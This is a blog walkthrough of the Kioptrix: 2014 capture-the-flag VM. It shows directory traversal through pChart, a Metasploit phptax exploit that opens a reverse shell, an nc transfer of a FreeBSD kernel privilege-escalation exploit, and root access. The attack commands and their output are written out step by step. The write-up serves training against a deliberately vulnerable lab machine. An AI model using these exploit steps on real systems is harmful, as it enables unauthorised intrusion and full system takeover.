John's Headshot

John's InfoSec Ramblings

The thoughts of a man working his way through a career in Information Security.

John Svazic

16 minute read

Kioptrix: 2014

Name       : Kioptrix: 2014
Difficulty : Beginner
Type       : boot2root
Source     : VulnHub
URL        :,62/
Entry      : 7 / 30

Welcome to the walkthrough for Kioptrix: 2014, a boot2root CTF found on VulnHub. This is the seventh VM in my VulnHub Challenge! This is also the last VM in a family of CTF challenges on VulnHub called Kioptrix. This series is considered a great starting point for CTFs in the boot2root family. This is the VM that is often quoted in guides for preparing for the OSCP certification. This is a fun machine, and has a few small differences compared to the other VMs in this series, but it’s a great learning experience.

I should mention that Kioptrix: 2014 is also listed as a great resource for OSCP training.


For this particular entry in the series, there is a flag file in the /root directory that can be read once access is gained to the root user.


I’m using VMWare Workstation Player to host Kali and the Kioptrix: 2014 image, with both VMs running in a NAT network. Apparently this one may require a fix if you are using VirtualBox, but VMWare player works just fine. Be sure to check out the instructions on VulnHub for details.

Note: I did have some trouble with VMWare Player with this VM. I couldn’t get NAT networking to work right away, so I had to delete and re-add the Network adapter before it would work. Something to keep in mind if you run into trouble.


I use netdiscover to search for the IP address of the Kioptrix: 2014 VM:

root@dante:~# netdiscover -r
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------   00:50:56:c0:00:08      1      60  VMware, Inc.   00:50:56:e9:f5:d4      1      60  VMware, Inc. 00:0c:29:f8:69:41      1      60  VMware, Inc. 00:50:56:f7:1c:69      1      60  VMware, Inc.

So it looks like is our target, as the others are used by VMWare for various networking tasks (gateway, etc.).


I’ll start with a quick nmap scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC and -sV flags:

root@dante:~# nmap
Starting Nmap 7.80 ( ) at 2019-08-31 13:15 EDT
Nmap scan report for
Host is up (0.00051s latency).
Not shown: 997 filtered ports
22/tcp   closed ssh
80/tcp   open   http
8080/tcp open   http-proxy
MAC Address: 00:0C:29:F8:69:41 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.96 seconds
root@dante:~# nmap -sC -sV -p22,80,8080
Starting Nmap 7.80 ( ) at 2019-08-31 13:16 EDT
Nmap scan report for
Host is up (0.00074s latency).

22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-server-header: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
|_http-title: Site doesn't have a title (text/html).
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-title: 403 Forbidden
MAC Address: 00:0C:29:F8:69:41 (VMware)

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 25.39 seconds

Nice. A few things of note here:

  • There is a web server running on port 80 and 8080.
    • Seems that the host OS is FreeBSD, which is different than the other Kioptrix machines so far.
  • There seems to be something blocking the server on port 8080, possibly a virtual host?
  • Port 22 is listed as closed, so perhaps something is blocking it?

Based on the scan results, I think starting with port 80 is going to be the best starting point.

Web Reconnaissance

I’m going to start with something very basic, curl, and see what I can pull down:

root@dante:~# curl -v
*   Trying
* Connected to ( port 80 (#0)
> GET / HTTP/1.1
> Host:
> User-Agent: curl/7.65.3
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 31 Aug 2019 17:40:53 GMT
< Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
< Last-Modified: Sat, 29 Mar 2014 17:22:52 GMT
< ETag: "105c6-98-4f5c211723300"
< Accept-Ranges: bytes
< Content-Length: 152
< Content-Type: text/html
  <META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php">

  <h1>It works!</h1>
* Connection #0 to host left intact

Nothing in the headers, but it seems there is a commented-out redirect in the <head> section of the HTML. Looks like pChart2.1.3, so I’ll start with that. I’ll use searchspoit to see if there’s an exploit available.

root@dante:~# searchsploit pchart 2.1.3
----------------------------------------- ----------------------------------------
 Exploit Title                           |  Path
                                         | (/usr/share/exploitdb/)
----------------------------------------- ----------------------------------------
pChart 2.1.3 - Multiple Vulnerabilities  | exploits/php/webapps/31173.txt
----------------------------------------- ----------------------------------------
Shellcodes: No Result

Nice! Multiple vulnerabilities are always fun since they give us choice! Diving into the details of this particular exploit, I can see that there is a directory traversal bug as well as an XSS vulnerability. You can read up on these yourself by using searchsploit -x 31173, or browse over to the entry on Exploit DB here.

Directory Traversal for Fun & Profit

I’m going to use the example from the exploit writeup from searchsploit/ and adjust it for the path I found in the HTML, i.e. /pChart2.1.3/ as the base path:

root@dante:~# curl "" | html2text
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2084  100  2084    0     0   169k      0 --:--:-- --:--:-- --:--:--  169k
# $FreeBSD: release/9.0.0/etc/master.passwd 218047 2011-01-28 22:29:38Z pjd $
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin
ossec:*:1001:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecm:*:1002:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecr:*:1003:1001:User &:/usr/local/ossec-hids:/sbin/nologin

Success! I piped the output of curl through a tool called html2text to strip out the HTML tags and make the output easier to read. So the good news is I have a working Local File Inclusion (LFI) vulnerability that I can take advantage of. The bad news is what I saw in the /etc/passwd file - OSSEC.

If you’re not familiar with it, OSSEC is a Host Intrusion Detection System (HIDS), and it normally comes with some rules that will automatically block any brute force attacks. I didn’t run gobuster on this site, but I’m pretty sure if I did I would have locked myself out for a good 10-15 minutes. I like OSSEC, I used to use it in the past to harden my systems, but as an attacker it can be a bit of a pain.

So what’s next? Well, I did have a HTTP 403 error on port 8080, and I suspected that was due to a virtual host not being configured properly. The best path forward at this point is to see if any virtual hosts are defined!

Looking for Virtual Hosts

Virtual hosts are normally configured in an Apache configuration file. On Linux, I would start with the /etc/apache2/apache2.conf file and see what was there. However this machine isn’t Linux, it’s FreeBSD. So after a bit of digging, I found that on FreeBSD, the Apache configuration file is located at /usr/local/etc/apache22/httpd.conf instead. As before I’ll use curl and pipe it through html2text to make the output easier to read.

root@dante:~# curl "" | html2text
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 31906    0 31906    0     0  3115k      0 --:--:-- --:--:-- --:--:-- 3115k
# This is the main Apache HTTP server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See <URL:> for detailed information.
# In particular, see
# <URL:>
# for a discussion of each configuration directive.
# Do NOT simply read the instructions in here without understanding
# what they do.  They're here only as hints or reminders.  If you are unsure
# consult the online docs. You have been warned.  
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path.  If the filenames do *not* begin
# with "/", the value of ServerRoot is prepended -- so "/var/log/foo_log"
# with ServerRoot set to "/usr/local" will be interpreted by the
# server as "/usr/local//var/log/foo_log".

# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
# Do not add a slash at the end of the directory path.  If you point
# ServerRoot at a non-local disk, be sure to point the LockFile directive
# at a local disk.  If you wish to share the same ServerRoot for multiple
# httpd daemons, you will need to change at least LockFile and PidFile.
ServerRoot "/usr/local"


SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser


Include etc/apache22/Includes/*.conf

I’ve pared down the output a bit to make it easier to read and to focus on the interesting parts. As you can see, there is a virtual host defined right at the end of the httpd.conf file. It also appears to only work when a certain User-Agent string is used. I can use the -A flag for curl to set the User-Agent string, so I’ll do that and see what I get:

root@dante:~# curl -A "Mozilla/4.0"
  <title>Index of /</title>
<h1>Index of /</h1>
<ul><li><a href="phptax/"> phptax/</a></li>

Interesting! A link to phptax. I wonder what version it is. Let me do some more digging:

root@dante:~# curl -A "Mozilla/4.0"
<html><title>PHPTAX by William L. Berggren 2003(c)</title>
<body bgcolor='777777' link='000000' vlink='000000' alink='000000'>
<table cellpadding='2' cellspacing='0' border='1' width='780' bgcolor='#999900'>


Lots of HTML returned, and piping it through html2text didn’t help. However, the <title> tag certainly helps! I see the copyright is set to 2003, and after a bit of searching I found that phptax versions 0.7 and 0.8 were released in 2003. Checking searchsploit:

root@dante:~# searchsploit phptax
------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                     |  Path
                                                                   | (/usr/share/exploitdb/)
------------------------------------------------------------------- ----------------------------------------
PhpTax - 'pfilez' Execution Remote Code Injection (Metasploit)     | exploits/php/webapps/21833.rb
PhpTax 0.8 - File Manipulation 'newvalue' / Remote Code Execution  | exploits/php/webapps/25849.txt
phptax 0.8 - Remote Code Execution                                 | exploits/php/webapps/21665.txt
------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Well, well, well. Seems there’s a Metasploit module available! Let me see how well it works.

Exploiting with Metasploit

Firing up Metasploit I go looking for the exploit for phptax:

root@dante:~# msfconsole

                                   .,,.                  .
                                .\$$$$$L..,,==aaccaacc%#s$b.       d8,    d8P
                     d8P        #$$$$$$$$$$$$$$$$$$$$$$$$$$$b.    `BP  d888888p
                  d888888P      '7$$$$\""""''^^`` .7$$$|D*"'```         ?88'
  d8bd8b.d8p d8888b ?88' d888b8b            _.os#$|8*"`   d8P       ?8b  88P
  88P`?P'?P d8b_,dP 88P d8P' ?88       .oaS###S*"`       d8P d8888b $whi?88b 88b
 d88  d8 ?8 88b     88b 88b  ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"`    `?88'  ?88 ?88 88b  d88 d88
                          .a#$$$$$$"`          88b  d8P  88b`?8888P'
                       ,s$$$$$$$"`             888888P'   88n      _.,,,ass;:
                    .a$$$$$$$P`               d88P'    .,.ass%#S$$$$$$$$$$$$$$'
                 .a$###$$$P`           _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
              ,a$$###$$P`  _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
_______________________________________________________________   ,&$$$$$$'_____
                                                           ` ......;;;;... .  .

       =[ metasploit v5.0.42-dev                          ]
+ -- --=[ 1915 exploits - 1074 auxiliary - 330 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 4 evasion                                       ]

msf5 > search phptax

Matching Modules

   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/multi/http/phptax_exec  2012-10-08       excellent  Yes    PhpTax pfilez Parameter Exec Remote Code Injection

msf5 >

Next few steps are to use the exploit, set the payload, set the options, and execute:

msf5 > use exploit/multi/http/phptax_exec
msf5 exploit(multi/http/phptax_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf5 exploit(multi/http/phptax_exec) > show options

Module options (exploit/multi/http/phptax_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /phptax/         yes       The path to the web application
   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   PhpTax 0.8

msf5 exploit(multi/http/phptax_exec) > set RHOSTS
msf5 exploit(multi/http/phptax_exec) > set RPORT 8080
RPORT => 8080
msf5 exploit(multi/http/phptax_exec) > set LHOST eth0
msf5 exploit(multi/http/phptax_exec) > set LPORT 9001
LPORT => 9001
msf5 exploit(multi/http/phptax_exec) >

However there is one problem. Notice that there isn’t an option for the User-Agent property? Not to worry, when I run show advanced, I see that there is an otpion for User-Agent, and I set it accordingly.

msf5 exploit(multi/http/phptax_exec) > set UserAgent Mozilla/4.0
UserAgent => Mozilla/4.0
msf5 exploit(multi/http/phptax_exec) > exploit

[*] Started reverse TCP double handler on
[*] - Sending request...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo lY4MQwJlfVrJom8o;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Command: echo rX6z5wUT3F2xNWJq;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "lY4MQwJlfVrJom8o\r\n"
[*] Matching...
[*] A is input...
[*] Reading from socket B
[*] B: "rX6z5wUT3F2xNWJq\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened ( -> at 2019-08-31 19:45:44 -0400
[*] Command shell session 1 opened ( -> at 2019-08-31 19:45:44 -0400


Alright, I have low level access as the www user! Now on to privilege escalation.

Privilege Escalation

First thing I want to do is run, but then I remember I’m on a FreeBSD machine! Shoot! I’ll keep it simple and see if I can find out what version of FreeBSD it is. I try to use the freebsd-version command, but it doesn’t exist. Next I try uname -mrs:

freebsd-version: not found
uname -mrs
FreeBSD 9.0-RELEASE amd64

I see that the target is running FreeBSD 9.0. I’m going to check searchsploit again to see if there’s any kernel exploits here. The reason I’m doing that is that I already know from reviewing the /etc/passwd file earlier that there are no other users on this machine, so trying to get a stable shell as another user isn’t going to be my goal here.

root@dante:~# searchsploit freebsd 9.0
------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                     |  Path
                                                                   | (/usr/share/exploitdb/)
------------------------------------------------------------------- ----------------------------------------
FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation             | exploits/freebsd/local/28718.c
FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation       | exploits/freebsd/local/26368.c
------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Excellent! There are some kernel exploits I can use! I’m going to try to use the Intel SYSRET Kernel Privilege Escalation exploit first. Now, since this is a native file and I can’t compile it locally, let me check to see if gcc is installed on the target. I also need to copy the file over, so I’ll see if wget or curl are available:

which curl
which wget
which gcc
which nc
which python

Alright, so here’s the situation:

  • There is no curl, wget, or python
  • gcc is installed
  • nc is installed

Awesome, so at least I can use nc to transfer files and I can compile things as well. However, without python installed, I can’t create my psuedo-terminal to give me a decent prompt. No problem, I’ll just get straight to work. I do realize that I could create any number of other reverse shells that may give me a better prompt, but for now I’m happy with what I have.

First up is I setup a listener to transfer the file from my attacking machine (Kali) to the target machine (FreeBSD). I start a listener on my local machine using nc, then re-direct the exploit code to it:

root@dante:~# nc -nvlp 9002 < /usr/share/exploitdb/exploits/freebsd/local/28718.c

Next I use nc on the target machine to do a reverse connection and download the file locally:

cd /tmp
nc 9002 > exploit.c

Note: This reverse connection is necessary since there is a problem setting up a bind port on the target machine, i.e. using nc -nlp on the target machine doesn’t work. You can connect, but no bytes get transfered.

After a quick MD5 checksum, I move on to compilation and execution:

md5 exploit.c
MD5 (exploit.c) = a7e59b6a91949cf03c6c7a5a6905c6d6
gcc -o exploit exploit.c
exploit.c:178:2: warning: no newline at end of file
[+] Start Engine...
[+] Crotz...
[+] Crotz...
[+] Crotz...
[+] Woohoo!!!
uid=0(root) gid=0(wheel) groups=0(wheel)

Moving on to /root I look for the flag and grab it:

cd /root
cat congrats.txt
If you are reading this, it means you got root (or cheated).
Congratulations either way...

Hope you enjoyed this new VM of mine. As always, they are made for the beginner in
mind, and not meant for the seasoned pentester. However this does not mean one
can't enjoy them.

As with all my VMs, besides getting "root" on the system, the goal is to also
learn the basics skills needed to compromise a system. Most importantly, in my mind,
are information gathering & research. Anyone can throw massive amounts of exploits
and "hope" it works, but think about the traffic.. the logs... Best to take it
slow, and read up on the information you gathered and hopefully craft better
more targetted attacks.

For example, this system is FreeBSD 9. Hopefully you noticed this rather quickly.
Knowing the OS gives you any idea of what will work and what won't from the get go.
Default file locations are not the same on FreeBSD versus a Linux based distribution.
Apache logs aren't in "/var/log/apache/access.log", but in "/var/log/httpd-access.log".
It's default document root is not "/var/www/" but in "/usr/local/www/apache22/data".
Finding and knowing these little details will greatly help during an attack. Of course
my examples are specific for this target, but the theory applies to all systems.

As a small exercise, look at the logs and see how much noise you generated. Of course
the log results may not be accurate if you created a snapshot and reverted, but at least
it will give you an idea. For fun, I installed "OSSEC-HIDS" and monitored a few things.
Default settings, nothing fancy but it should've logged a few of your attacks. Look
at the following files:
/root/httpd-access.log (softlink)
/root/ossec-alerts.log (softlink)

The folderMonitor.log file is just a cheap script of mine to track created/deleted and modified
files in 2 specific folders. Since FreeBSD doesn't support "iNotify", I couldn't use OSSEC-HIDS
for this.
The httpd-access.log is rather self-explanatory .
Lastly, the ossec-alerts.log file is OSSEC-HIDS is where it puts alerts when monitoring certain
files. This one should've detected a few of your web attacks.

Feel free to explore the system and other log files to see how noisy, or silent, you were.
And again, thank you for taking the time to download and play.
Sincerely hope you enjoyed yourself.

Be good...


p.s.: Keep in mind, for each "web attack" detected by OSSEC-HIDS, by
default it would've blocked your IP (both in hosts.allow & Firewall) for
600 seconds. I was nice enough to remove that part :)


comments powered by Disqus

Recent posts

See more



Hi. I'm John, and I'm an Information Security Generalist.